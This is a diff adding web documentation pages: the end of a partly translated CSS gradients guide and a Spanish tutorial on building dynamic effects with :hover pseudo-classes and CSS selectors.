+<h3 id="Cambiando_el_mismo_gradiente_para_correr_de_izquierda_a_derecha">Cambiando el mismo gradiente para correr de izquierda a derecha:</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Captura de pantalla</td>
+   <td class="header">Demo en vivo</td>
+  </tr>
+  <tr>
+   <td><img alt="basic_linear_blueleft.png" class="default internal" src="/@api/deki/files/3951/=basic_linear_blueleft.png"></td>
+   <td>
+    <div> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: css">/* la vieja sintaxis, obsoleta, pero todavía necesaria, prefijada, para Opera y Navegadores basados en Webkit */
+background: -prefix-linear-gradient(left, blue, white);
+
+/* La nueva sintaxis necesaria para navegadores apegados al estandar (IE 10 y Firefox 10 en adelante), sin prefijo */
+background: linear-gradient(to right, blue, white);
+</pre>
+
+<p>Usted puede hace el gradiente sea generado diagonalmente mediante la especificación de la posición de inicio vertical y horizontal. Por ejemplo:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Captura de pantalla</td>
+   <td class="header">Demo en vivo</td>
+  </tr>
+  <tr>
+   <td><img alt="basic_linear_bluetopleft.png" class="default internal" src="/@api/deki/files/3952/=basic_linear_bluetopleft.png"></td>
+   <td>
+    <div> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: css">/* la vieja sintaxis, obsoleta, pero todavía necesaria, prefijada, para Opera y Navegadores basados en Webkit */
+background: -prefix-linear-gradient(left top, blue, white);
+
+/* La nueva sintaxis necesaria para navegadores apegados al estandar (IE 10 y Firefox 10 en adelante), sin prefijo */
+background: linear-gradient(to bottom right, blue, white);
+</pre>
+
+<h3 id="Usando_Angulos">Usando Angulos</h3>
+
+<p>Si usted no específica un ángulo, uno es determinado automáticamente basado en la dirección dada. Si usted desea más control sobre la dirección del gradiente, usted necesita establecer el ángulo específicamente.</p>
+
+<p>Por ejemplo, aquí hay dos gradientes, el primero con una dirección hacia la derecha, y el segundo tiene un ángulo de 70 grados.</p>
+
+<p><img alt="linear_gradient_angle.png" class="default internal" src="/@api/deki/files/3953/=linear_gradient_angle.png"></p>
+
+<p>El de la derecha usa un CSS Como este:</p>
+
+<pre class="brush: css">background: linear-gradient(70deg, black, white);
+</pre>
+
+<p>El ángulo es especificado como un ángulo entre una línea vertical y la línea del gradiente, contando en el sentido horario. En otras palabras, <code>0deg crea un gradiente vertical desde el fondo hasta el tope, mientras 90deg genera un gradiente horizontal de izquierda a derecha:</code></p>
+
+<p><img alt="linear_redangles.png" class="default internal" src="/files/3811/linear_red_angles.png"></p>
+
+<pre class="brush: css">background: linear-gradient(&lt;angle&gt;, red, white);
+</pre>
+
+<div class="note style-wrap">
+<p><strong>Note:</strong> several browsers implement, prefixed, an older draft of the specification where <code>0deg</code> was pointing to the right rather than to the top. Pay attention in the value of the angle when mixing prefixed and standard linear-gradient, some may need to have <code>90deg</code> added to the <code>&lt;angle&gt;</code>.</p>
+</div>
+
+<h3 id="Color_stops">Color stops</h3>
+
+<p>Color stops are points along the gradient line that will have a specific color at that location. The location can be specified as either a percentage of the length of the line, or as an absolute length. You may specify as many color stops as you like in order to achieve the desired effect.</p>
+
+<p>If you specify the location as a percentage, <code>0%</code> represents the starting point, while <code>100%</code> represents the ending point; however, you can use values outside that range if necessary to get the effect you want.</p>
+
+<h4 id="Example_Three_color_stops">Example: Three color stops</h4>
+
+<p>This example specifies three color stops:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Screen Shot</td>
+   <td class="header">Live Demo</td>
+  </tr>
+  <tr>
+   <td><img alt="linear_colorstops1.png" class="default internal" src="/@api/deki/files/3955/=linear_colorstops1.png"></td>
+   <td>
+    <div> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: css">/* The old syntax, deprecated, but still needed, prefixed, for Opera and WebKit-based browsers */
+background: -prefix-linear-gradient(top, blue, white 80%, orange);
+
+/* The new syntax needed by standard-compliant browsers (IE 10 and Firefox 10 onwards), without prefix */
+background: linear-gradient(to bottom, blue, white 80%, orange);
+</pre>
+
+<p>Note that the first and last color stops don't specify a location; because of that, values of 0% and 100% are assigned automatically. The middle color stop specifies a location of 80%, putting it most of the way toward the bottom.</p>
+
+<h4 id="Example_Evenly_spaced_color_stops">Example: Evenly spaced color stops</h4>
+
+<p>Here's an example using a wide variety of colors, all evenly spaced:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Screen Shot</td>
+   <td class="header">Live Demo</td>
+  </tr>
+  <tr>
+   <td><img alt="linear_rainbow.png" class="default internal" src="/@api/deki/files/3956/=linear_rainbow.png"></td>
+   <td>
+    <div> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: css">/* The old syntax, deprecated, but still needed, prefixed, for Opera and WebKit-based browsers */
+background: -prefix-linear-gradient(left, red, orange, yellow, green, blue);
+
+/* The new syntax needed by standard-compliant browsers (IE 10 and Firefox 10 onwards), without prefix */
+background: linear-gradient(to right, red, orange, yellow, green, blue);
+</pre>
+
+<p>Notice that the color stops are automatically spaced evenly when no locations are specified.</p>
+
+<h3 id="Transparency_and_gradients">Transparency and gradients</h3>
+
+<p>Gradients support transparency. You can use this, for example, when stacking multiple backgrounds, to create fading effects on background images. For example:</p>
+
+<p><img alt="linear_multibg_transparent.png" class="default internal" src="/@api/deki/files/3957/=linear_multibg_transparent.png"></p>
+
+<pre class="brush: css">/* The old syntax, deprecated, but still needed, prefixed, for Opera and WebKit-based browsers */
+background: linear-gradient(left, rgba(255,255,255,0), rgba(255,255,255,1)), url(http://foo.com/image.jpg);
+
+/* The new syntax needed by standard-compliant browsers (IE 10 and Firefox 10 onwards), without prefix */
+background: linear-gradient(to right, rgba(255,255,255,0), rgba(255,255,255,1)), url(http://foo.com/image.jpg);
+</pre>
+
+<p>The backgrounds are stacked with the first specified background on top, and each successive background farther away. By stacking backgrounds this way, you can create very creative effects as seen above.</p>
+
+<h2 id="Radial_gradients">Radial gradients</h2>
+
+<p>Radial gradients are specified using the {{ cssxref("radial-gradient") }} functional notation. The syntax is similar to that for linear gradients, except you can specify the gradient's ending shape (whether it should be a circle or ellipse) as well as its size. By default, the ending shape is an ellipse with the same proportions than the container's box.</p>
+
+<h3 id="Color_stops_2">Color stops</h3>
+
+<p>You specify color stops the same way as for linear gradients. The gradient line extends out from the starting position in all directions.</p>
+
+<h4 id="Example_Evenly_spaced_color_stops_2">Example: Evenly spaced color stops</h4>
+
+<p>By default, as with linear gradients, the color stops are evenly spaced:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Screen Shot</td>
+   <td class="header">Live Demo</td>
+  </tr>
+  <tr>
+   <td><img alt="radial_gradient_even.png" class="default internal" src="/@api/deki/files/3958/=radial_gradient_even.png"></td>
+   <td>
+    <div> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: css">background: radial-gradient(red, yellow, rgb(30, 144, 255));
+</pre>
+
+<h4 id="Example_Explicitly_spaced_color_stops">Example: Explicitly spaced color stops</h4>
+
+<p>Here we specify specific locations for the color stops:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Screen Shot</td>
+   <td class="header">Live Demo</td>
+  </tr>
+  <tr>
+   <td><img alt="radial_gradient_varied.png" class="default internal" src="/@api/deki/files/3959/=radial_gradient_varied.png"></td>
+   <td>
+    <div> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: css">background: radial-gradient(red 5%, yellow 25%, #1E90FF 50%);
+</pre>
+
+<h3 id="Size">Size</h3>
+
+<p>This is one of the areas in which radial gradients differ from linear gradients. You can provide a size value that specifies the point that defines the size of the circle or ellipse. See <a href="/en-US/docs/CSS/radial-gradient#Size_constants" title="en-US/docs/CSS/-moz-radial-gradient#Size constants">this description of the size constants</a> for specifics.</p>
+
+<h4 id="Example_closest-side_for_ellipses">Example: closest-side for ellipses</h4>
+
+<p>This ellipse uses the <code>closest-side</code> size value, which means the size is set by the distance from the starting point (the center) to the closest side of the enclosing box.</p>
+
+<table class="standard-table" style="width: 520px;">
+ <tbody>
+  <tr>
+   <td class="header">Screen Shot</td>
+   <td class="header">Live Demo</td>
+  </tr>
+  <tr>
+   <td><img alt="radial_ellipse_size1.png" class="default internal" src="/@api/deki/files/3960/=radial_ellipse_size1.png"></td>
+   <td>
+    <div> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: css">background: radial-gradient(ellipse closest-side, red, yellow 10%, #1E90FF 50%, white);
+</pre>
+
+<h4 id="Example_farthest-corner_for_ellipses">Example: farthest-corner for ellipses</h4>
+
+<p>This example is similar to the previous one, except that its size is specified as <code>farthest-corner</code>, which sets the size of the gradient by the distance from the starting point to the farthest corner of the enclosing box from the starting point.</p>
+
+<table class="standard-table" style="width: 520px;">
+ <tbody>
+  <tr>
+   <td class="header">Screen Shot</td>
+   <td class="header">Live Demo</td>
+  </tr>
+  <tr>
+   <td><img alt="radial_ellipse_size2.png" class="default internal" src="/@api/deki/files/3961/=radial_ellipse_size2.png"></td>
+   <td>
+    <div> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: css">background: radial-gradient(ellipse farthest-corner, red, yellow 10%, #1E90FF 50%, white);
+</pre>
+
+<h4 id="Example_closest-side_for_circles">Example: closest-side for circles</h4>
+
+<p>This example uses <code>closest-side</code>, which determines the circle's size as the distance between the start point (the center) and the closest side.</p>
+
+<table class="standard-table" style="width: 520px;">
+ <tbody>
+  <tr>
+   <td class="header">Screen Shot</td>
+   <td class="header">Live Demo</td>
+  </tr>
+  <tr>
+   <td><img alt="radial_circle_size1.png" class="default internal" src="/@api/deki/files/3962/=radial_circle_size1.png"></td>
+   <td>
+    <div> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: css">background: radial-gradient(circle closest-side, red, yellow 10%, #1E90FF 50%, white);
+</pre>
+
+<p>Here, the circle's radius is half the height of the box, since the top and bottom edges are equidistant from the start point and are closer than the left and right edges.</p>
+
+<h2 id="Repeating_gradients">Repeating gradients</h2>
+
+<p>The {{ cssxref("linear-gradient") }} and {{ cssxref("radial-gradient") }} properties don't support automatically repeating the color stops. However, the {{ cssxref("repeating-linear-gradient") }} and {{ cssxref("repeating-radial-gradient") }} properties are available to offer this functionality.</p>
+
+<h3 id="Examples_Repeating_linear_gradient">Examples: Repeating linear gradient</h3>
+
+<p>This example uses {{ cssxref("repeating-linear-gradient") }} to create a gradient:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Screen Shot</td>
+   <td class="header">Live Demo</td>
+  </tr>
+  <tr>
+   <td><img alt="repeating_linear_gradient.png" class="default internal" src="/@api/deki/files/3964/=repeating_linear_gradient.png"></td>
+   <td>
+    <div> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: css">background: repeating-linear-gradient(-45deg, red, red 5px, white 5px, white 10px);
+</pre>
+
+<p>Another example using the {{ cssxref("repeating-linear-gradient") }} property.</p>
+
+<p><a href="/@api/deki/files/6192/=repeat_background_gradient_checked.png" title="repeat_background_gradient_checked.png"><img alt="repeat_background_gradient_checked.png" class="default internal" src="/@api/deki/files/6192/=repeat_background_gradient_checked.png?size=thumb" style="height: 160px; width: 160px;"></a></p>
+
+<pre class="brush: css">background-color: #000;
+background-image: repeating-linear-gradient(90deg, transparent, transparent 50px,
+      rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px, transparent 56px, transparent 63px,
+      rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px, transparent 69px, transparent 116px,
+      rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+repeating-linear-gradient(0deg, transparent, transparent 50px, rgba(255, 127, 0, 0.25) 50px,
+      rgba(255, 127, 0, 0.25) 56px, transparent 56px, transparent 63px, rgba(255, 127, 0, 0.25) 63px,
+      rgba(255, 127, 0, 0.25) 69px, transparent 69px, transparent 116px, rgba(255, 206, 0, 0.25) 116px,
+      rgba(255, 206, 0, 0.25) 166px),
+repeating-linear-gradient(-45deg, transparent, transparent 5px, rgba(143, 77, 63, 0.25) 5px,
+      rgba(143, 77, 63, 0.25) 10px),
+repeating-linear-gradient(45deg, transparent, transparent 5px, rgba(143, 77, 63, 0.25) 5px,
+      rgba(143, 77, 63, 0.25) 10px);
+</pre>
+
+<h3 id="Example_Repeating_radial_gradient">Example: Repeating radial gradient</h3>
+
+<p>This example uses {{ cssxref("repeating-radial-gradient") }} to create a gradient:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Screen Shot</td>
+   <td class="header">Live Demo</td>
+  </tr>
+  <tr>
+   <td><img alt="repeating_radial_gradient.png" class="default internal" src="/@api/deki/files/3965/=repeating_radial_gradient.png"></td>
+   <td>
+    <div> </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<pre class="brush: css">background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Gradient-related reference articles: {{cssxref("&lt;image&gt;")}}, {{cssxref("&lt;gradient&gt;")}}, {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}.</li>
+</ul>
diff --git a/files/es/css_dinámico/index.html b/files/es/css_dinámico/index.html
new file mode 100644
index 0000000000..e77502cb70
--- /dev/null
+++ b/files/es/css_dinámico/index.html
@@ -0,0 +1,339 @@
+---
+title: CSS dinámico
+slug: CSS_dinámico
+tags:
+  - CSS
+  - Todas_las_Categorías
+---
+<p>
+</p>
+<h3 id="Introducci.C3.B3n"> Introducción </h3>
+<p>Tradicionalmente las páginas web se han dividido en dos categorías: estáticas y dinámicas. Hemos leído muchas veces que con <a href="es/XHTML">XHTML</a> y <a href="es/CSS">CSS</a> se pueden crear documentos de calidad, pero fijos, estáticos. Si quieres que tus páginas se adapten y cambien según las acciones del usuario, si quieres dinamismo, necesitas javascript o similares... Ya no.
+</p><p>Si teniamos <a href="es/DHTML">DHTML</a> (html dinámico), ahora tenemos <b>CDSS</b> (<b>C</b>ss <b>D</b>inámico <b>S</b>in <b>S</b>cripts). Como en un cuento de hadas en el que un humilde sapo acaba siendo el príncipe de la historia, unas modestas pseudo-clases pueden acabar siendo las estrellas de la Web. </p><p>Las <a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/css/selector.html#q15">pseudo-clases</a> en principio nacieron para darle dinamismo a los enlaces, y este es el uso que se les ha dado durante los últimos años. Es raro el archivo CSS que no incluya unas líneas semejantes a estas:
+</p>
+<pre>a:link { ... }
+a:active { ... }
+a:visited { ... }
+</pre>
+<p>¡Pero la situación ha cambiado! Ahora podemos aplicarle pseudo-clases a la mayoría de los elementos, y jugando con los selectores podemos crear documentos dinámicos usando exclusivamente CSS.
+</p>
+<h3 id="Poco_a_poco"> Poco a poco </h3>
+<p>Lo veremos poco a poco y por medio de ejemplos centrados en la pseudo-clase :hover. Obviamente combinando diversas pseudo-clases pueden obtenerse efectos más complejos.
+Para probar los ejemplos basta copiar y pegar el código (sin quitar ni añadir nada) en un archivo vacio y visualizarlo con el navegador. </p><p>Empecemos por el uso tradicional:
+</p>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+a:hover { color: red; }
+
+&lt;/style&gt;
+
+&lt;p&gt; Párrafo con &lt;a&gt;enlace&lt;/a&gt; que se pone rojo &lt;/p&gt;
+
+</pre>
+<p>Soltamos amarras, levamos 'anclas' y...
+</p>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+p:hover { color: red; font-variant: small-caps; }
+li:hover { color: blue; background: silver; }
+div:hover { color: orange; text-align: right; }
+
+&lt;/style&gt;
+
+&lt;p&gt; Párrafo que se pone rojo y mayúsculo. &lt;/p&gt;
+&lt;ul&gt; &lt;li&gt; Item que se pone azul y con fondo gris. &lt;/li&gt; &lt;/ul&gt;
+&lt;div&gt; División con texto que se flota a la derecha y se pone naranja. &lt;/div&gt;
+</pre> <p>Esto nos permite crear con facilidad efectos dinámicos, podemos cambiar la visualización de las cosas dependiendo de los actos del usuario. Con un poco de imaginación y buen gusto se pueden hacer maravillas.
+</p>
+<h4 id="La_cosa_da_mucho_juego"> La cosa da mucho juego </h4>
+<p>Podemos cambiar cualquier propiedad, pero no todas son igual de útiles a la hora de crear dinamismo. Algunas de las más interesantes serían por ejemplo: display, position, z-index...
+</p>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+.comun { position: absolute; width: 10em;
+	 padding: 2em; text-align: center; }
+
+#rojo { background-color: red;
+        left: 1em; top: 1em;
+        z-index: 1; }
+
+#azul { background-color: blue;
+        left: 5em; top: 5em;
+        z-index: 2; }
+
+#naranja { background-color: orange;
+           left: 9em; top: 2em;
+           z-index: 3; }
+
+#rojo:hover,
+#azul:hover,
+#naranja:hover { z-index: 4; }
+
+&lt;/style&gt;
+
+&lt;p id='rojo'    class='comun'&gt;El rojo es vivo&lt;/p&gt;
+&lt;p id='azul'    class='comun'&gt;El azul es elegante&lt;/p&gt;
+&lt;p id='naranja' class='comun'&gt;El naranja es guay&lt;/p&gt;
+</pre>
+<h3 id="Pero_esto_no_es_todo.2C_a.C3.BAn_hay_m.C3.A1s."> Pero esto no es todo, aún hay más. </h3>
+<p>Jugando con los <a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/css/selector.html">selectores</a> podemos relacionar unos elementos con otros.
+</p><p>Por ejemplo: al posicionarnos sobre <a href="es/HTML/Elemento/p">p</a> cambiamos las propiedades de <a href="es/HTML/Elemento/a">a</a>, y al posicionarnos sobre <a href="es/HTML/Elemento/a">a</a> cambiamos las propiedades de <a href="es/HTML/Elemento/em">em</a>.
+</p>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+em { display: none; }
+
+p:hover a { color: red; }
+a:hover em { display: inline; }
+
+&lt;/style&gt;
+
+&lt;p&gt; Párrafo &lt;a&gt;con enlace &lt;em&gt;que se pone rojo&lt;/em&gt; &lt;/a&gt; &lt;/p&gt;
+</pre>
+<p>Bueno, despues de unos ejemplos simples, uno un poco más complejo:
+</p>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+.editorial { width: 30%;}
+.item { list-style: none; list-style-position: inside;
+        padding: 0.2ex; margin: 0.2ex; }
+
+a { color: darkblue; text-decoration: none;}
+div:hover a { color: blue; text-decoration: underline;}
+
+.oculto ul { display: none; }
+div:hover ul { display: block; }
+
+ul { border: transparent solid 0.1ex; }
+ul:hover { border: peru solid 0.1ex; }
+
+ul:hover abbr,
+ul:hover dfn { color: red; }
+
+.vista { visibility: hidden; }
+ul:hover .vista { visibility: visible; }
+
+&lt;/style&gt;
+
+&lt;div class='editorial oculto'&gt;
+   &lt;h2&gt; &lt;a&gt; CSS &lt;/a&gt; &lt;/h2&gt;
+   &lt;ul class='item'&gt;
+      &lt;li&gt; &lt;dfn&gt;CSS&lt;/dfn&gt; es una c seguida de dos eses. &lt;/li&gt;
+      &lt;li&gt; También es un estándar del &lt;abbr&gt;W3C&lt;/abbr&gt;. &lt;/li&gt;
+      &lt;li class='vista'&gt; No se me ocurre qué poner aquí. &lt;/li&gt;
+   &lt;/ul&gt;
+
+&lt;/div&gt;
+
+&lt;div class='editorial'&gt;
+   &lt;h2&gt; &lt;a&gt; HTML &lt;/a&gt; &lt;/h2&gt;
+   &lt;ul class='item'&gt;
+      &lt;li&gt; &lt;dfn&gt;HTML&lt;/dfn&gt; es un lenguaje para el marcado de hipertextos. &lt;/li&gt;
+      &lt;li&gt; Es un estándar del &lt;abbr&gt;W3C&lt;/abbr&gt;. &lt;/li&gt;
+      &lt;li class='vista'&gt; Creado por Tim Berners-Lee. &lt;/li&gt;
+   &lt;/ul&gt;
+&lt;/div&gt;
+</pre>
+<h4 id="Tipos_de_relaciones_familiares"> Tipos de relaciones <i>familiares</i></h4>
+<p>Hasta el momento todos los ejemplos muestran relaciones padre → descendiente, si has consultado la especificación sabrás que no son las únicas, las posibilidades son las siguientes:
+</p>
+<h5 id="Padre_.E2.86.92_hijo"> Padre → hijo </h5>
+<p>Esta relación se expresa por medio del combinador ("&gt;"), relaciona un elemento con sus descendientes directos. En el siguiente ejemplo seleccionamos los elementos con clase 'subrayado' que sean hijos directos de <a href="es/HTML/Elemento/div">div</a>
+</p>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+body:hover &gt; .subrayado { text-decoration: underline;}
+
+&lt;/style&gt;
+
+&lt;div&gt;
+&lt;p&gt; Lo siguiente es una
+ &lt;span class='subrayado'&gt;cita&lt;/span&gt;:
+&lt;/p&gt;
+&lt;hr&gt;
+&lt;blockquote class='subrayado'&gt; &lt;p&gt;Si buscas resultados distintos, no hagas siempre lo mismo.
+ &lt;cite&gt;Einstein&lt;/cite&gt; &lt;/p&gt;
+&lt;/blockquote&gt;
+&lt;/div&gt;
+</pre>
+<h5 id="Padre_.E2.86.92_descendiente"> Padre → descendiente </h5>
+<p>Esta relación se expresa por medio de un espacio en blanco (" ") relaciona un elemento con un descendiente. Este es el método más flexible, puedes seleccionar cualquier elemento independientemente del parentesco exacto.
+</p>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+     p:hover em { visibility: hidden;}
+
+&lt;/style&gt;
+
+&lt;h2&gt; Selección de descendientes&lt;/h2&gt;
+&lt;p&gt;
+  &lt;em&gt;Este em es hijo de un párrafo&lt;/em&gt;
+  &lt;span&gt; span tambien, pero...
+     &lt;em&gt;Este em no es hijo de un párrafo, &lt;/em&gt;
+     aunque sí descendiente (hijo de un hijo).
+  &lt;/span&gt;
+&lt;/p&gt;
+</pre>
+<h5 id="Hermano_.E2.86.92_hermano_.28adyacente.29"> Hermano → hermano (adyacente) </h5>
+<p>Esta relación es expresa por medio del combinador ("+"), relaciona un elemento con su hermano adyacente (el inmediatamente siquiente). Este es el método aparentemente más limitado, pero el que abre más puertas.
+</p>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+#primero + li { list-style-type: none; }
+
+&lt;/style&gt;
+
+&lt;ul&gt;
+  &lt;li id='primero'&gt;item 1&lt;/li&gt;
+  &lt;li&gt;item 2&lt;/li&gt;
+  &lt;li&gt;item 3&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+<p><br>
+Esto de relacionar hermanos está muy bien, pero solo se puede seleccionar el adyacente, esto es una limitación importante, pero bueno, siempre puedes seleccionar el adyacente del adyacente, o el...
+</p>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+#primero + li + li + li { list-style-type: none; }
+
+&lt;/style&gt;
+
+&lt;ul&gt;
+  &lt;li id='primero'&gt;item 1&lt;/li&gt;
+  &lt;li&gt;item 2&lt;/li&gt;
+  &lt;li&gt;item 3&lt;/li&gt;
+  &lt;li&gt;item 4&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+<h5 id="Otros_parentescos"> Otros parentescos </h5>
+<p>Padres, hijos y hermanos no son las únicas relaciones dentro de una familia. ¿Qué pasa si quiero seleccionar un nieto, o un sobrino? ¿Se puede? </p>
+<dl><dt> Seleccionando un nieto
+</dt><dd> No tiene mayor complicación, al fin y al cabo, un nieto no es más que un hijo de un hijo.
+</dd></dl>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+p:hover &gt; span &gt; em { color: red; }
+
+&lt;/style&gt;
+
+&lt;p&gt;
+ &lt;em&gt;este em es hijo de un párrafo&lt;/em&gt;
+ &lt;span&gt; span también, pero...
+   &lt;em&gt;este em es nieto&lt;/em&gt; &lt;/span&gt;
+&lt;/p&gt;
+</pre>
+<dl><dt> Seleccionando un sobrino.
+</dt><dd> No hay problema, un sobrino no es más que un hijo de un hermano.
+</dd></dl>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+p:hover + div &gt; em { color: red; }
+
+&lt;/style&gt;
+
+&lt;p&gt;Al ponerte sobre este párrafo&lt;/p&gt;
+&lt;div&gt; Cambias las propiedades de
+   &lt;em&gt;este em&lt;/em&gt;
+&lt;/div&gt;
+</pre>
+<h5 id="Limitaciones"> Limitaciones </h5>
+<p>De los ejemplos anteriores se desprende que es muy fácil abarcar todas las combinaciones posibles. Siempre y cuando la secuencia de los selectores sea:
+</p>
+<ol><li>Descendente - Un elemento y sus descendientes.
+</li><li>Horizontal - Un elemento y sus hermanos.
+</li><li>Mixta - Una combinación de las anteriores.
+</li></ol>
+<p>Lo que no se puede hacer es seleccionar un ascendiente (ej. un padre). Por lo tanto <u>el siquiente ejemplo ni funciona ni debe hacerlo</u>:
+</p>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+em:hover #div { color: red; }
+
+&lt;/style&gt;
+
+&lt;h1&gt;Este ejemplo ni funciona ni debe hacerlo.&lt;/h1&gt;
+
+&lt;div id='div'&gt;
+   &lt;em&gt;Este em&lt;/em&gt;
+   no puede cambiar las propiedades de su padre.
+&lt;/div&gt;
+</pre>
+<p>Además hay una curiosa limitación ¿será un bug? Un selector compuesto puede empezar por un elemento o por un #id con :hover, Pero no puede empezar por una clase con :hover. Sorprendentemente con el selector universal (*) tampoco funciona.
+</p>
+<pre>&lt;meta http-equiv='Content-Type' content='text/html; charset=UTF-8'&gt;
+&lt;style type='text/css'&gt;
+
+* { color: red; }
+
+  .uno       .cero { color: blue; }      /* esto sí funciona */
+ *.uno       .cerocero { color: blue; }  /* esto sí funciona */
+
+  #uno:hover .dos { color: blue; }       /* esto sí funciona */
+ul.uno:hover .cuatro { color: blue; }    /* esto sí funciona */
+
+  .uno:hover .tres { color: blue; }      /* esto NO funciona */
+ *.uno:hover .cinco { color: blue; }     /* esto TAMPOCO funciona */
+
+&lt;/style&gt;
+
+&lt;div class='uno'&gt;
+  .uno       .cero { color: blue; }
+  &lt;em class='cero'&gt;Esto sí funciona,&lt;/em&gt; y... &lt;br&gt;
+  *.uno       .cerocero { color: blue; }
+  &lt;em class='cerocero'&gt;esto también funciona.&lt;/em&gt;
+&lt;/div&gt;
+
+&lt;ul id='uno' class='uno'&gt;
+  &lt;li class='dos'&gt;#uno:hover .dos - esto sí funciona.&lt;/li&gt;
+  &lt;li class='tres'&gt;.uno:hover .tres - esto NO funciona.&lt;/li&gt;
+  &lt;li class='cuatro'&gt;ul.uno:hover .cuatro - esto sí funciona.&lt;/li&gt;
+  &lt;li class='cinco'&gt;*.uno:hover .cinco - esto TAMPOCO funciona.&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+<h3 id="Navegadores_que_lo_soportan">Navegadores que lo implementan</h3>
+<p>Los navegadores pueden dividirse en dos grupos: IE y el resto.</p>
+<ul> <li><strong>IE</strong>: IE6 no lo implementa, pero IE7 sí, aunque parece que sólo parcialmente... (probado en IE7 beta).</li> <li><strong>El resto</strong>: cada día son más los navegadores que implementan este uso de las pseudo-clases: <ul> <li>Firefox 1.5 - sí lo implementa, al igual que todos los navegadores basados en las últimas versiones de Gecko.</li> <li>Opera - sí lo implementa (pendiente de confirmación plena).</li> <li>Konqueror/Safari - sí lo implementa (pendiente de confirmación plena) al igual que todos los navegadores basados en las últimas versiones de KHTML.</li> </ul> </li>
+</ul><h3 id="Referencia">Referencia</h3>
+<p>Lo cierto es que no hay mucho escrito sobre el tema (en castellano casi nada, o nada), la gente sólo suele escribir sobre las cosas que funcionan en IE. Pero tampoco hace mucha falta. Todo lo que necesitamos está en <a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/css/cover.html#minitoc">el estándar CSS-2</a>. Además, <em>curiosamente</em>, los dos pilares que sostienen esta funcionalidad (pseudoclases y selectores), están explicados en la misma página: <a class="external" href="http://www.sidar.org/recur/desdi/traduc/es/css/selector.html">el capítulo 5</a>.</p>
+<p>Recomiendo encarecidamente la lectura completa y atenta de todo el capítulo, y ya puestos, de toda la especificación. Aunque para el asunto que nos ocupa nos interesan principalmente:</p>
+<dl> <dd>Sobre los selectores por parentesco, sub-capítulos: 5.5, 5.6, 5.7</dd> <dd>Sobre las pseudo-clases, sub-capítulo: 5.11</dd>
+</dl><h3 id="CSS-3"> CSS-3 </h3>
+<p>Todo lo explicado es conforme a CSS-2.1 ¿Qué nos depara el futuro? Si los pilares de esta técnica son las pseudo-clases y los selectores, <a class="external" href="http://www.w3.org/Style/CSS/current-work">CSS-3</a> traerá muchas más <a class="external" href="http://www.w3.org/TR/2005/WD-css3-selectors-20051215/#pseudo-classes">pseudo-clases</a> y muchos más <a class="external" href="http://www.w3.org/TR/2005/WD-css3-selectors-20051215/#selectors">selectores</a>, en definitiva, muchas más posibilidades de hacer cosas interesantes.
+</p><p>Por ejemplo, hemos visto las limitaciones de CSS-2 para seleccionar hermanos, con CSS-3 esta limitación desaparece. Lo siguiente es CSS-3 pero funciona (usando el navegador apropiado).
+</p>
